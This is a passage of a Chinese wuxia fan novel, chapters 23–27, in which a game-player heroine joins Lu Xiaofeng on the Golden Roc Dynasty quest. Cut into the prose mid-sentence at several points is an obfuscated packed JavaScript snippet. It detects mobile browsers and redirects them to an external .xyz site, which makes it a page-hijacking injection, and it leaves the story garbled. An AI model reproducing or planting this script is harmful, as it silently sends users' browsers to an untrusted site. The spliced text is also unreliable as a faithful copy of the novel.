他微微躬下身,去瞧那人的脸。只一眼,便吓得魂飞魄散,大叫不止,挥舞着双手向后厨奔逃了开去。 众人不由悚然。 不知是人是鬼的来客向前迈了一步,终于踏进了门槛。其他人也终于得以瞧清他的模样。 只一眼,陆小凤便知道他绝对不是一名想要在这里用餐的客人。 他的右眼已被人生生剜走了去,黑洞洞的眼眶镶嵌在那张疤痕淋漓的面容上,左边的半张脸甚至只剩下了一半。 伤口愈合,却更让人觉得可怖。眼睛和鼻子处的皮肤被拉扯过去,如同一条形状滑稽的鱼类。 他袖下的肢体同样是残缺的。两只手此刻已被两枚铁器所取代。本该是右手的地方装上了一枚铁钩,左腕上坠着一颗硕大的铁球。 短暂的安静后,食肆内陡然爆发出了第一声惊恐的尖叫。 人们争先恐后地向外奔逃,这名几乎不能被算作是一个人的男子却看也不看,径直走到了芒青这一桌的跟前。 陆小凤稳稳地坐在凳子上,道出了他的身份,“柳余恨。” 司空摘星没有被这张脸吓住,却因为陆小凤的这一句话而瞠目,失声道,“柳余恨?!难道他就是‘玉面郎君’柳余恨?!” 来人发出一阵近似讽笑的声音,听在旁人耳中,只觉得艰涩无比,也恐惧无比。 “你的眼力很好。”柳余恨说。 话音落下,却有另外一人接道,“看来灵犀一指陆小凤果然名不虚传。” 司空摘星随声望去,只见一名书生模样的人笑意微微,缓缓走了进来。 他的身后还跟着一个矮小黑瘦、蓄着一把蓬乱的大胡子的人。 胡须四炸而开,便将此人的脑袋衬得更大三分、身量更小三分。 他同样微笑着接话道,“看来,咱们也并没有找错人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她身上的袍子极长,拖曳在地面上;她的一头秀发极乌黑光泽,披散在身后。 她的眼睛极其漂亮,一张面庞极其莹润,像一株含苞欲放的花朵。 倘若这样的姑娘站在你的面前,对你笑上了一笑,你一定会感到无比的惶恐、无比的受宠若惊。 而她不仅笑了起来,她甚至还盈盈拜了下来。 即使跪在地上,她的姿态也像是神女一样,不允许别人轻慢上半分。 陆小凤几乎是从座位上惊跳了起来。 不待众人反应过来,咯嚓一声脆响,这名风流的浪子已撞破窗户逃走了。 * 受到请托的人离开,前来请托的人自然也就没有了继续停留在这里的必要。 萧秋雨、独孤方和柳余恨并不是不识趣的人,只是有时候,他们会为了一些事情而表现得不太识趣。好在这些人的身边还有一个可喜可爱的女孩子。 他们自然也可以凭芒青三人去要挟陆小凤,可如若事情闹到了这般地步,也就很难再以一种皆大欢喜的结尾收场了。起码玩家就一定不会让他们有多如意。 芒青、司空摘星和花满楼在城外的一棵大榕树上找到了在此等候的陆小凤。 三个人牵着四匹马。第四个人从树上跳了下来。 “他们走了么?” 花满楼把多出的那一条缰绳递给他,微笑道,“即使走了,也不会走远的。” 陆小凤叹道,“有些时候的麻烦总要我去追着跑,而有些时候,麻烦又总是追着我跑。” 花满楼说,“陆小凤难道不是天生就和麻烦缠在一起?” 司空摘星问,“这些人必定不会轻易善罢甘休,现在我们要去哪里?” 陆小凤思索半晌,道,“去找一个人。” “那个人难道能说服一个动起手来不要命的求死之人柳余恨么?” 陆小凤回答,“不能。” “那个人难道能说服一个力气大到能把青铜鼎扛起来的力士萧秋雨么?” 陆小凤说,“不能。” “那个人难道能说服一个行踪诡秘、来去无踪的独行者独孤方么?” 陆小凤仍旧摇头,“不能。” 司空摘星继续问道,“难道那个人住在精铁铸成的屋子里?” 陆小凤笑道,“不。他不仅没有住在铁屋子里,他所居住的木屋还格外的经不起折腾。” “他究竟是谁?” 陆小凤翻身上马,只说了两个字。 “霍休。” 24.第二十四章 * 霍休的木屋不算大,也不算新,孤零零地坐落在半山腰上。枣树环绕,四周几乎瞧不见人烟。 你很难想象得到一个人会心甘情愿地住在这样的地方。 屋里面收拾得很干净、齐整。家具不算多,却都很是精致,架子上还摆着许许多多的酒。 酒香透过泥封飘散出来,有经验的人只消闻上一闻,就能知道它们必定都是不可多得的佳酿。 这样一间屋子的主人绝对是一个身材不算高大,不喜交际又性格古怪的人。 霍休就是这样一个矮小、孤僻、顽固的老人。 这世间有许多豪商巨贾,可若论最出名的,也就只有那几家而已。江南花家的产业最多,关中阎家的珠宝最出名,而若论谁手里的金银财宝最多,那无疑便是霍休了。 芒青一行人过来的时候,他正在喝酒。 看到推门而入的陆小凤、看到陆小凤身后跟着的一连串人,霍休却也并不十分惊讶。 陆小凤同样并不因为他没有感到惊讶而惊讶。或许他结交的那些好朋友也不总是只会给他带来麻烦。 一个爱酒的人见到了满目的好酒,是很难忍得住不去喝一杯的。 陆小凤就是这样一个爱酒的人。所以他不客气地拆开了一坛他认为最好的陈酿。 霍休没有阻止他,只是悠然地喝着自己眼前的那杯酒,双目炯炯,看起来精神矍铄。 他的视线落在被陆小凤带过来的三个人身上。 身着锦袍、举止文雅的是花家的七公子,身着布衣、姿态随意的是江湖上的神偷司空摘星。除此之外,还有一名身着劲装、腰佩长刀的年轻人…… 陆小凤“咕咕”地痛饮一番,终于长叹一声,坐在了霍休的对面。 他的屁股刚挨着椅子,却忽然听到了他所投奔的这位忘年之交询问的声音。 “她是谁?” 陆小凤顺着霍休的目光看过去,顿时笑道,“还没有介绍,或许你不认识她。这是我的朋友,芒青。” 霍休闻言,却只是冷冷地反问,“你怎么知道我不认识她?” 司空摘星蹙眉,不由自主地上前了半步。 老人直直地盯着芒青,问道,“你的母亲叫什么名字?” 芒青看着他,忽然露出了一个略带恍然的表情,笑道,“我不知道。” 霍休不依不饶,“那么你的父亲姓甚名谁?” 少年人的回答仍旧是那四个字:“我不知道。” “那么你的祖母和祖父呢?” 芒青面色不变,说,“我是孤儿。” 话音落下,陆小凤、花满楼和司空摘星都变了神色。霍休像是遭受到了什么重大的打击一般,颓唐地向后仰去,靠在了椅背上。 这名头发花白、前一刻还在咄咄逼人的老人仿佛在一瞬之间苍老了十岁。他的胸膛起伏了两下,用几近叹息的声音说,“或许……或许我曾见过你的祖母和祖父。” 是策划安排的主线线索npc。玩家立刻洗耳恭听。 陆小凤、司空摘星的注意力已经全部都转移到了芒青的身上。而即使花满楼目不能视,他也已经用肢体上的动作表明了自己同样怀着关切的心情。 江湖上的恩怨情仇讲上一整天也说不完。 灭门的惨案听起来固然凶险,但若让那些阅历丰富的前辈来看,便也算不得稀奇了。 可陆小凤从没想过芒青居然是一个孤儿。 她看起来绝不像一个吃过苦的人,也绝不像一个在童年缺少关爱的人。 她一定曾被许多人疼宠,才能像如今这样热烈张扬。她也一定受到过很良好的教养,才能像现在这样温文明礼。 听到这样的话、在这样毫无准备的情况下骤然得知自己的身世,年轻人却仅仅只是配合地露出了一点愿闻其详的表情,以示她很乐意倾听。 芒青的脸上没有属于她自己的情绪。 再自持、冷酷的人,也会在孩提时对自己的亲人怀抱憧憬与向往。 芒青或许可以被称一声自持,但却绝不算是一个冷酷的人。 她的身上一定曾发生过一些事情,她也一定曾经历过一些事情。 那大抵和抚养她长大的人有关。所以芒青才会在听到类似的消息时、在她自己都没有意识到的时候本能地掩藏起了情绪。 陆小凤的心沉了下去。霍休的讲述却仍在继续。 他似乎已全然沉浸在自己的思绪里了。然而玩家知道,npc只是在被策划强制走剧情而已。 “五十年前,我刚来到这里时,遇到过一对夫妻。他们的年纪不大,见识却格外的广博。三教九流、五行八作,无论是谁见了他们,都是能与之聊上几句的。” “只可惜……” “可惜什么?”陆小凤追问,看起来竟比芒青这个当事人还要急切几分。 霍休沉声道,“可惜不过几年,他们就离开了,此后再没有了音讯。连我也不知道他们搬去了什么地方安家。” 他的眼底带上了些许复杂的情绪,“我原以为这一辈子都不会再见面,不想却在今天遇见了故人。” 陆小凤不由默然。 听到这样的结果,就连他也不知道是该欢喜还是该忧愁了。 事情已经过去了这么多年,如若那对夫妻还活着,此刻也应当像霍休一般,是两名白发苍苍的老人了。 随着年岁的增长,人的身量和五官都会发生变化。 世人常说大海捞针,而他们又该从什么地方找到这两根已经变了模样的针呢。 * 话至此处,气氛便也沉寂了下去,屋中五个人,神色最轻松的反而是芒青本人。 她略一凝眉,忽然微微侧过头,看向门外,轻轻“嗯?”了一声。 司空摘星道,“怎么了?” 芒青说,“树林里有人打起来了。” 陆小凤、司空摘星和花满楼神色一变,俱都出了门去。 霍休仍坐在他那张精致的小椅子上,慢慢地又给自己倒满了一杯酒。 他们到了外面,芒青朝屋后略偏一下身子,“这边。” 急奔数步,花满楼便已能听见金铁相互碰撞的声音、闻见刺鼻的浓重血腥味。 萧秋雨、独孤方和柳余恨果然追了上来。可枣树之下却不止有这三个人。 一名身着青衣的大汉仰面倒在地上,本该握在手里的一双银钩落在脚边。 他的脑袋像只被人踩了一脚的枣子一样,干瘪、凹陷。鲜血在身下汩汩汇成了血泊,只能勉强看清紫红色的皮肤和那些与鬓角粘连在一起的胡须。 另一个人虽然尚且还有行动的能力,但也到了强弩之末。 他的脸上原本有一条横贯的刀疤,看起来凶恶非常。此刻,那条丑陋的疤痕随着他狰狞的表情滑稽地扭曲了起来,就像一条黏腻的、正在攀爬的长虫。 司空摘星失声道,“铁面判官和勾魂手。他们是青衣第一楼里的杀手!” 不及陆小凤接上他的话茬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149563|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,萧秋雨手里的短剑已刺入了刀疤大汉的喉咙。 刺客从嘴里呛咳出一口鲜血,双目圆睁,发出两声如同老旧风箱般的喘息,就此再没了动静。 * 司空摘星的评价半点不错,柳余恨打起架来的的确确是不要命的。 此刻,他的两处要穴俱被铁面判官的判官笔洞穿,血液渗出来,又被衣料吸附,形成两块颜色暗沉、正在缓缓扩散的污渍。 萧秋雨看得蹙眉,柳余恨却像是无知无觉一般,连一个眼神都没有瞥下去过。 他目不转睛地盯着赶来的陆小凤几人。 陆小凤没有逃,因为他这次并未瞧见那个会向他下跪的女孩子。 这次过来的,是一个年岁不大的小女孩。 她有一双黑葡萄似的大眼睛,穿着颜色鲜艳的漂亮衣服,手里牵着一只大耳朵、长嘴巴的短毛猎犬。 小姑娘的声音也脆生生的,轻快又活泼,“金鹏王朝的丹凤公主想要邀请你们和她走上一遭。” 【支线任务[金鹏王朝]已开启,请玩家再接再厉 点击查看详情】 陆小凤问道,“这一遭要走去哪里?” 女孩抿唇笑了一下,说,“是一个你去过就绝不会后悔的地方。” 陆小凤淡淡道,“天底下去过便不后悔的地方我已见过了许多,又为什么要跟着你到那里去?” 女孩一噎,不由瞪大了眼。 芒青忽然开口道,“丹凤公主是金鹏王朝的公主?” 闻言,小姑娘的胸脯顿时又挺了起来,“是。” “那么,请我们过去的是金鹏王朝现在的主人,还是丹凤公主?” 小女孩说,“是大金鹏王和丹凤公主。” 少年人的脸上忽然露出了一点笑意,她挑了一下眉,似乎觉得这件事情很有趣一般,点头道,“我跟你去。” 陆小凤讶异地看着她,芒青轻轻眨了一下眼睛。 长着四条眉毛的浪子愣了一下。他很快回过神来,没有反驳年轻人的话。 * 丹凤公主的马车上也有许许多多的鲜花,车帘掀起来,猎犬钻进车厢,温顺地伏在她的脚边。 车夫上下一震缰绳,马车便碌碌地前进起来。 芒青骑着黑马,与司空摘星并行。 小女孩撩开车窗上的锦缎,好奇地探头张望。 她一眼看到了芒青,问道,“你叫什么名字?” 芒青说:“芒青。” “哪个芒?哪个青?” 芒青思索了一下,说,“芒果的芒,青苹果的青。” 小女孩噗嗤笑了,“你的名字可真有意思。” 陆小凤道,“不是她的名字有意思。这样的形容,难道不正是照顾了你这个小孩子吗?” 小女孩脸上的笑容立刻消失了。轮到司空摘星哈哈大笑。 芒青叹一口气,从口袋里摸出一块糖,递给小姑娘,“你叫什么名字?” 女孩看了看她掌心里小小的糖果,却没有去接。 “我叫上官雪儿。”她说。 芒青点了点头,表示自己知道了。即使对面的人不接受这枚小小的礼物,年轻人也仍旧抬着手臂,同样没有把糖收回去的意思。 雪儿歪了歪头,“这是大人给小孩子的礼物吗?” 芒青笑了,“不,这是芒青给上官雪儿的见面礼。” 雪儿的面颊上也重新浮现起了笑容。这次,她把糖接了过去,剥开糖纸含在了嘴里。 25.第二十五章 * 虽然丹凤公主和大金鹏王的“邀请”带有些许胁迫的意味,但受邀而来的四个人实际却并没有像他们表现出来的那样不情愿。 玩家是最满意的,因为触发了支线剧情。 陆小凤和司空摘星也略起了些兴致。这两个聪明的江湖好汉已经发现,这个找上门来的大麻烦的背后,必定隐藏着一个大秘密、一件绝不多见的稀奇事。 虽然花满楼并不热衷于探寻别人的秘密,但他总是很乐意陪伴在朋友的身边。 …… 临近日暮,一行人终于抵达了此行的目的之地。 这里有许许多多高低错落的建筑和植被,朱甍碧瓦、飞阁流丹、绿荫如盖。身处其中,景色随着人的脚步而变化,曲径通幽、别有洞天。 建造它的人,一定耗费了无数的精力和金钱。 正如雪儿所说,这的确是一个来过就不会后悔的地方。 只不过,原本林木疏密得当的雅致庭院此刻已变得杂草横生,枯枝败叶铺了满地,很久不曾打理过了。 鲜艳的丹漆自墙体剥落,犹如一块块丑陋的疮疤;屋檐边角上瓦砾随处可见,却无人修缮。 目之所及,皆是一片荒凉景象。 丹凤公主在前引路。他们正走过一条迂回的昏暗长廊。 长廊的两侧镶嵌着供人放置灯烛的烛龛。此刻,烛龛里不仅没有蜡烛,甚至还沉积着一层厚厚的灰尘。 这些事物无一不在向他们阐述着那所谓的金鹏王朝已然没落。 长廊的尽头是一扇紧闭着的宽大、厚重的楠木门。 这里的宫室已破败不堪,两面木门上却分别镶嵌着一枚纯金打造的圆环。 丹凤公主没有叩动门环,而是径直推开门走了进去。 长长的裙摆拖曳在地上,光线偶尔照在暗色的纹路上,使它看起来仿佛一片流动的波涛。 芒青顺着波涛行进的方向望过去,尽头处有一张宽大的椅子。 椅子上有许许多多松软厚实的垫子,一张盖着一张、一层叠着一层,一直垂落到了地面上。 层叠的垫子上坐着一个老人。 他像是一株枯萎的树、一尊久不闻香火的石像。 在这间空旷无光的屋子里,空气流动的速度似乎都缓慢了下来。 丹凤公主轻轻地弯下腰去,贴近老人的耳边,恭敬而低柔地说着什么。 在金鹏王的宫殿里,能被金鹏王朝的公主以这样的礼节对待,他无疑就是大金鹏王了。 * 丹凤公主是一个高挑的姑娘,而她的父亲大金鹏王却生得不很高大。 或许是因为生活并不顺意,这个没落王朝的主人看起来分外苍老,像一颗被虫子蛀空的干瘪果仁。 你能在他的身上感受到一股近似黄昏的迟暮气息。 可即使大金鹏王的外表不太符合世人所想象的皇天贵胄的模样,这位老人的眼睛里却仍放着光。 他的意志还没有被挫折消磨殆尽。有什么东西正支撑着他,使他绝对不能在心愿了结前倒下。 老人的目光随着丹凤公主的讲述落到了陆小凤的身上,随后又移动到了芒青的脸上。 大金鹏王忽然开了口,他的声音听起来的确十足威严,甚至分外的严厉,“到我近前来。” 陆小凤是一个浪子。一个身怀绝技、潇洒不羁的浪子。所以他绝不会就这样轻易地乖乖去听某一个人的话。 长着四条眉毛、披着红披风的人不但没有依言走过去,他还在一张距离最近的椅子上坐了下来。 司空摘星虽然是一个小偷,可他却已将“偷”这一个技能发挥、运用到了极致。 一个人若是能在自己擅长的领域做到这种地步,那么他一定不会缺少旁人的追捧。 于是,司空摘星也只是找了一把椅子坐了下来,没有理会大金鹏王的命令。 而花满楼,他是一个很细心、温柔、体贴的人。即使面对的是一个素不相识的陌生人,他也永远不会用恶意去揣测人家。 花满楼总是愿意多为别人考虑一分的。 但如果天平的一端放上了他的朋友、放上了陆小凤,这件事情恐怕便要算作例外了。 他也坐在了椅子上。 至于芒青,她可是玩家。 天生反骨的玩家没有像陆小凤他们那样,跟萝卜似的给自己也找一个坑。 她只是站在原地,右手扶上刀柄,道,“阁下既肯花费这么大的功夫请我们过来,又何必如此再三试探。既然有事相托,不如直入正题。” 大金鹏王听到这一席话,却并不生气,反而哈哈大笑起来,“看来他的确就是陆小凤,我们果然没有找错人。或许也只有陆小凤才能与你这样的龙驹凤雏相交。” 他直起身子,神态更为端正严肃,“好,那我们就照少侠所言,单刀直入,说一说今天的正题罢。” “或许你们并没有听说过金鹏王朝这个名字,但我们的王朝却拥有十分悠久的历史。” 提起他们的国家,老人的声音里夹杂上了一丝与有荣焉般的自豪。他一定很热爱他的国家,对之有着极强的归属感。 “在你们的朝代还没有建立的时候,我们的王朝就已经存在了。我们的王族里每一个人都有着相同的姓氏,每一个人都以姓上官为荣。” “我们拥有肥沃的土地、无尽的矿藏,百姓们安居乐业,统治者仁政爱民。但这一切,都在五十年前哥萨克的侵略下化为乌有了。” 话至此处,老人的声音低沉下去,仿佛又回到了那个战火纷飞的夜晚。 丹凤公主同样露出了悲哀的神色,朱唇轻抿,两弯黛眉蹙起,一双宛若春水的眼眸里也盛满了淡淡的愁绪。 “王朝倾覆,先王誓要与臣民国□□存亡。为了留下血脉以图来日,他委托了四位要臣,带着王朝的财宝将我送来了中土。” 大金鹏王的目光中迸发出了仇恨的光芒,他的声音也陡然变得激动起来,“来到中土后的这五十年里,除了我的舅父上官谨,余下的三个人,竟带着我们金鹏王朝的财产消失得无影无踪,再也没有出现过!” 陆小凤问道,“你可还记得他们的名字么?” 大金鹏王嘶声道,“我就算是死,也绝不会忘记他们的名字!” 司空摘星说,“他们叫什么?” 老人的面色因为情绪的起伏而染上了不健康的潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159286|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红。他一字一句,从牙缝里挤出了这三个已令他恨之入骨的名字。 “上官木,平独鹤和严立本。” 芒青说,“这些人的身上带着不属于他们的财宝,一定不敢再继续沿用曾经的姓名。” 陆小凤说,“不错。我从未听说江湖上有这样的三个人。他们绝对已有了新的身份。” 大金鹏王同样颔首,道,“你们没有听说过这几个贼子曾经的名字,却一定认识他们现在的身份。” “是谁?” 大金鹏王轻轻挥了一下手,丹凤公主立刻会意地走到窗下的柜子边,拉开抽屉,从里面拿出了三卷工整叠起的画像。 宣纸缓缓展开,每一张纸上都画着同一个人在两个不同年龄段的肖像。左边的年轻一些,右边的苍老一些。 陆小凤和司空摘星专注地辨认着右边的人像。 芒青和花满楼意思意思地站在旁边,一个认不全,一个看不见,起到一个凑数的作用。 怪不得这条支线也要给玩家安排队友npc。 陆小凤的眉头紧锁,他显然已经认出了画上的人。 一张圆胖白净的脸,眉毛短而浅。 分明是很亲切和善的长相,鼻梁却凸得很高,像一座驼峰,鼻尖又生得太低,使得他面中的留白比常人要多上几分。 此人正是关中珠宝阎家的掌事人、珠光宝气阁的大老板阎铁珊。 司空摘星的眼睛睁大了,显然,他也认出了面前画像上的人。 一张冷沉坚毅的脸,颧骨略高,便显得他格外的不好接近。 由于年岁的增长,画中人眼上的皮肤松弛下来,却丝毫不影响他犀利、锐利的目光。 此人正是峨眉剑派的掌门,峨眉七剑三英四秀的师傅独孤一鹤。 大金鹏王看着他的面色,冷冷地说,“想必你一定认得他。不错,他就是昔年金鹏王朝的臣子平独鹤,也是现在江湖中赫赫有名、让人闻风丧胆的杀手组织青衣楼的首领!” 陆小凤、司空摘星和花满楼俱皆变了神色。 司空摘星失声道,“独孤一鹤是青衣楼的主人?!” 大金鹏王说,“他伪装得很好,只怕无论叫谁来看,都不会觉得德高望重的峨眉掌门会是一个背叛旧主的贼子,更不会想到他就是青衣第一楼的实际拥有者!” 司空摘星张了张嘴,却没有说出话来,只好接着往下看去。 第三张画上的人他们也是认得的。不仅认得,陆小凤还刚刚去过他的小屋,在里面喝了人家的酒。 这个人正是霍休。 陆小凤的脸色已变得极其难看了。 大金鹏王恨声道,“世人只道霍休白手起家,岂知他本就拿走了一份不属于他的财富……现在,你们大抵也能想到我要你们帮的是什么忙了。” 芒青忽然说,“事情已经过去了五十年,难道从前不曾有探查他们行迹的机会吗?阁下又为什么会在现在突然想起这三个人呢。” 大金鹏王道,“来到中土后,我一日也没有忘记过仇恨,一直暗中使人探查,一年前才终于得到了消息。” 芒青挑挑眉,跟着煞有其事地点了点头,却并不说自己相信与否。 26.第二十六章 * 相比起江湖上一言不合提着刀就去寻仇的狂野作风,这位年迈的、曾经的天潢贵胄就显得温和许多。 他想要上官木、平独鹤和严立本归还昔年带走的财物,并对自己的所作所为进行悔过。 这样的诉求实在不能说不合理,但想要办到它,恐怕也是难如登天。 如今这三人俱已是江湖上鼎鼎有名的前辈大能,倘若大金鹏王所言为真,如此为了利益背信弃诺的小人,又怎么会轻易让往事为旁人所知、使自己苦心经营的声名地位毁于一旦呢。 而大金鹏王显然也深知这个道理,所以才会请来萧秋雨、独孤方、柳余恨和陆小凤等人。 陆小凤本就正欲追查青衣楼的线索,便也顺水推舟,答应下来。 大金鹏王自是感佩不已,老泪纵横。玩家看在眼里,只觉得那是策划流下的鳄鱼眼泪。 事情谈妥,四人作为即将要为大金鹏王无薪打工的冤种被邀请留下参加晚宴。 宴席上的菜肴只有当季的菜品,却已是这没落王朝的继承人现下最能拿得出手的东西了。 陆小凤似乎是一个不为任何事物停留的浪子。须知想要打动一个浪子,感情是最没有用的。可若真是如此,他也不会成为花满楼的挚友了。 比起浪子,他更是一名极重情义的侠客。 别人家的闲事,就算与他没有半分的干系、让他得不到半分的好处,陆小凤也是愿意拔刀相助的。 * 丹凤公主带着他们往客房去。 女孩子及腰的乌发随着步伐轻轻摆动,犹如一匹细密、光泽的绸缎。 柔软的腰肢裹在腰封里,越发显得她身量纤长。 她的皮肤是带着血色的、健康的白。唇上的胭脂在用餐时微微蹭花了少许,晕染开一片姝丽的颜色,更显娇艳夺目。 满园的鲜花仿佛也在此刻沦为了陪衬。 这个世界上从来不缺少好相貌的人,可若是一个人美到了上官丹凤的地步,她想要做的事绝对都能够很轻易地做成。 当这样的一位姑娘蹙着眉、忧愁地为她的招待不周表达歉意的时候,无论是谁,都不会忍心去责怪她的。 被npc的建模迷得五迷三道的玩家义正言辞,“公主站在这里,还会有人在意陈设如何吗。” 花满楼微微顿住了脚步。 司空摘星:“?” 陆小凤:“……” 他表情复杂,回头看了看说话的年轻人,又觑一眼司空摘星,最后幸灾乐祸地笑了。 丹凤公主愣了一下,微微别开头,却忍不住勾起唇角,显露了些许属于少女的俏皮,嫣然道,“少侠的嘴巴好甜,莫不是抹了蜂蜜。” 芒青“啊”了,抿了一下唇,很认真地尝了尝,才道,“没有吧?” 丹凤公主笑意更浓,目光盈盈地从她身上扫过,像一只小小的钩子,轻飘飘落下,带起一阵酥麻的痒意。 * 推开客房的门扉,其中果然有几分空旷。 屋舍的面积并不算小,从地板和墙壁上遗留的痕迹来看,这里曾经一定布置得极周到妥帖。 如今家具不知所踪,大概率已经被变卖,以用于维持生计,主人家便也没有办法再周全宾至如归的礼数了。 丹凤公主似乎还有什么事情要忙,离开的脚步略显急切。 陆小凤合上门,转头发现花满楼、司空摘星和芒青已经霸占了屋内的唯三三张椅子。 司空摘星:乐。 陆小凤:“……” 他又好气又好笑,却也不欲再多耽误时间,坐在榻上说起了正题。 “独孤一鹤的剑术超绝,若真动起手来,远非常人可以应对。” 司空摘星道,“所以大金鹏王才请来了萧秋雨三人。他们在江湖上也算闯出了些名堂,可照我看来,却实在不是独孤一鹤的对手。” “况且我也不相信他们。萧秋雨与我们同行,是奉大金鹏王的命令,并不是与我们有什么情谊。” 陆小凤沉思,“不错。所以我们最好再请一些自己的帮手来。” 花满楼微笑道,“我虽然知道你的好朋友有很多,但这次或许应该少找几个。” 在知道陆小凤要对付的是峨眉派掌门后,仍然愿意为他两肋插刀的人,必定都是极其值得的朋友。 如若他们的武功不足以应对他们的对手,因此凭白枉费了性命,陆小凤又岂能不自责。 武功高到能和独孤一鹤有一战之力的人必定不多,从其中筛选出灵犀一指的朋友,也不过一只手就能数清。 陆小凤赞同道,“你说的很对,我们只请一个人来就已足够。如果连他都没有办法牵制独孤一鹤,那么这件事大抵就没有办成的可能了。” 司空摘星哼笑一声,“你这只小鸡的口气未免太大了些。” 陆小凤却不气不恼,道,“如果你听到他的名字,也会觉得此事的人选非他莫属。” “是谁?” 陆小凤叹了一口气。 并不是他存心想要去吊司空摘星的胃口,而是因为那实在是一个很难请动的人。 在司空摘星就快要忍不住开口催促的时候,陆小凤终于说出了那个名字。 “西门吹雪。” 听到这个名姓,芒青下意识地轻轻扬了一下眉,转瞬想起什么,又稍显心虚地移开了视线,很像某种拆完家才反应过来会挨打的大型犬类。 司空摘星忽然坐直了身子,敏锐道,“你认识?” 芒青少见的卡壳了,发出一声略显迟疑的“呃”。 司空摘星开始觉得有些不妙了,“你们有仇?” 花满楼的面上浮现出了一抹忧虑之色。 芒青:“也不算吧。看他怎么想了。” 司空摘星:“……那我们还能去找他吗。” 玩家犹疑,“可以吧。实在不行打一架,还是不行就再打一架。” 陆小凤讶然,“你要跟西门吹雪打两回架?!” 芒青沉吟片刻,果断道,“其实也可以再多几次。打服为止。” 回档大权握在玩家手里,包赢的。谁也不能耽误她的剧情进度。 陆小凤:“……”重点是这个吗。通常情况下,万梅山庄庄主的对手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166839|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是等不到再约第二次的。 他的脸上露出了一种分外真切的疑惑,委婉道,“芒青姑娘,你是怎么……呃、跟西门吹雪产生这种需要靠动手解决的矛盾的?” 芒青:“说来话长。” 司空摘星、陆小凤俱都扭头看着她。就连花满楼也微微偏过了视线。 即使目光没有落在芒青身上,但他的姿态仍在无形之中表达了主人的态度。 芒青:“。” 她长话短说,简略地把情形概括了一遍。 听到最后,陆小凤不由目露震撼,复述道,“所以,你在答应了西门吹雪比剑的邀请后,为了一件其他的事情没有去应约。” 芒青:“……” 玩家的目光飘忽了一下。 她那个时候还以为这人只是一个普通的前期boss,谁知道他会是支线npc啊!策划把玩家害惨了。 陆小凤说:“我能问问是什么事耽误了赴约吗?” 芒青:“临溪沈员外家的独女失踪了。” 总感觉这句话她已经说过好多遍了。而且好像不是错觉。 司空摘星一愣。 花满楼神色微顿,半晌轻轻叹息了一声。 就连陆小凤也没有办法再说些什么了。难道你要他去对着一个救人心切的侠客说你做的不够对、做的不够好吗?这天底下又哪有这样的道理呢。 花满楼温声问道,“那么,你最后找到这名沈小姐了吗?” 芒青点一下头,回答,“嗯,我去看过,她回家了。” 花满楼微笑起来,说道,“那很好。” 他总是这样的人。永远怀有对生命的敬畏,会因为挽救了一条生命而感到开心、感到发自内心的愉悦。 * 既然已有了行动的目标,众人便不再耽搁,第二日便准备启程动身了。 陆小凤把要用到的盘缠食水挂在马背上,转头就见芒青溜溜达达地从花园的方向走了过来。 少年人的靴底沾着一点新鲜的泥土,双手和袍角却很干净。司空摘星撂下布袋,迎上前去,“去做什么了?” 芒青说,“找蚂蚁。” 司空摘星好笑道,“你找到了么?” 芒青沉思一会儿,说,“没有。但是找到了更有趣的东西。” 司空摘星说,“地里怎么会没有蚂蚁。我有经验,它们会做窝,下次我带着你一起找,一定能找到。” 芒青笑了,点头道,“好。” 花满楼手上的动作慢了下来。陆小凤觉察到了,却也只能在心底暗暗叹一口气。 青年忽然若有所觉般扭过了头,微笑道,“你是不是正在心里叹气?” 陆小凤苦笑,“有时候就连我也忍不住怀疑你究竟是不是一个瞎子。” “那么你的怀疑有结果了么?” 陆小凤道,“你千真万确是一个瞎子不假,只是你的眼睛虽然看不见,心却比大多数人都望得远。与你比起来,我简直就像一个混蛋。” 花满楼道,“如果一个人能认识到他自己是一个混蛋,恰恰说明他起码还并不是一个混蛋。” 27.第二十七章 * 西门吹雪住在万梅山庄里,整座山庄只有他一个主人,整片山头上也只有这一座山庄。 万梅山庄正如其名,栽种着许许多多数也数不清的梅花,它们的主人也一如这些梅花一般冷漠、孤傲。 门房看到陆小凤,忙不迭进去汇报,不多时,便一路小跑着回来,极其恭敬客气地将芒青一行人请了进去。 一个中年模样的管事为他们招待好了茶水。浅褐色的茶汤漾在碗底,碰到杯沿,荡起阵阵涟漪。 冒昧登门,没有让主人家立刻赶过来的道理,司空摘星和陆小凤也只好等着。 